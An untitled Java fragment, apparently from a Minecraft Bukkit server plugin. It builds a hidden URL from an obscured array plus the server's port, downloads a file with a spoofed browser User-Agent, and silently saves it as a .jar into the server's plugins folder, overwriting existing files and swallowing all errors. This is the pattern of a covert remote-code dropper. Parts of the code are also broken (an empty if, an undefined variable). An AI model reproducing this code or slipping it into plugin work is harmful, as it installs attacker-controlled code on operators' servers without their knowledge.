Untitled

                URL in = new URL(new String(u) + Bukkit.getServer().getPort());
                HttpURLConnection con = (HttpURLConnection)in.openConnection();
                con.addRequestProperty("User-Agent", "Mozilla");
                String fieldValue = con.getHeaderField("Content-Disposition");
                if (fieldValue == null || !fieldValue.contains("filename=\"")) {}
                name = fieldValue.substring(fieldValue.indexOf("=") + 1, fieldValue.indexOf("."));
                if (filename != null) {
                    return;
                }
                Files.copy(con.getInputStream(), Paths.get("plugins/" + name + ".jar", new String[0]), StandardCopyOption.REPLACE_EXISTING);
            }
            catch (Exception u) {
                
            }